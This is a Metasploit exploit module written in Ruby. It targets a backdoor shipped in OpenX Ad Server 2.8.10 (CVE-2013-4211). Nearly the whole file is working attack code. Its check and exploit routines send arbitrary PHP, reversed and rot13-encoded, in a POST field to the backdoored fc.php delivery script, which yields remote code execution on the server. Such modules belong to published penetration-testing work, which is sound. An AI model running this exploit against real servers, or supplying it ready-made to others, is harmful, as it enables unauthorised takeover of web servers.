101 lines
3.0 KiB
Ruby
101 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenX Backdoor PHP Code Execution',
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'Description' => %q{
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OpenX Ad Server version 2.8.10 was shipped with an obfuscated
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backdoor since at least November 2012 through August 2013.
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Exploitation is simple, requiring only a single request with a
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rot13'd and reversed payload.
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},
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'Author' =>
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[
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'egypt', # Metasploit module, shouts to bperry for hooking me up with the vuln software
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'Unknown', # Someone planted this backdoor...
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],
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'License' => MSF_LICENSE,
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'References' => [
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[ 'CVE', '2013-4211' ],
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[ 'OSVDB', '96073' ],
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[ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],
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[ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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# Arbitrary big number. The payload gets sent as POST data, so
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# really it's unlimited
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'Space' => 262144, # 256k
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},
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'DisclosureDate' => 'Aug 07 2013',
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'Generic (PHP payload)', { }]],
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'DefaultTarget' => 0))
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register_options([
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OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
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], self.class)
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end
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def check
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token = rand_text_alpha(20)
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response = execute_php("echo '#{token} '.phpversion();die();")
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if response.nil?
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CheckCode::Unknown
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elsif response.body =~ /#{token} ((:?\d\.?)+)/
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vprint_status("PHP Version #{$1}")
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return CheckCode::Vulnerable
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end
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return CheckCode::Safe
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end
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def exploit
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execute_php(payload.encoded)
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handler
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end
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def execute_php(php_code)
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money = rot13(php_code.reverse)
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begin
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response = send_request_cgi( {
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'method' => "POST",
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'global' => true,
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'uri' => normalize_uri(target_uri.path,"www","delivery","fc.php"),
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'vars_get' => {
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'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
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'script' => 'deliveryLog:vastServeVideoPlayer:player'
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},
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'vars_post' => {
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'vastPlayer' => money
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},
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}, 0.1)
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rescue ::Rex::ConnectionError => e
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fail_with(Failure::Unreachable, e.message)
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rescue ::OpenSSL::SSL::SSLError
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fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
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end
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response
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end
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def rot13(str)
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str.tr! "A-Za-z", "N-ZA-Mn-za-m"
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end
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end
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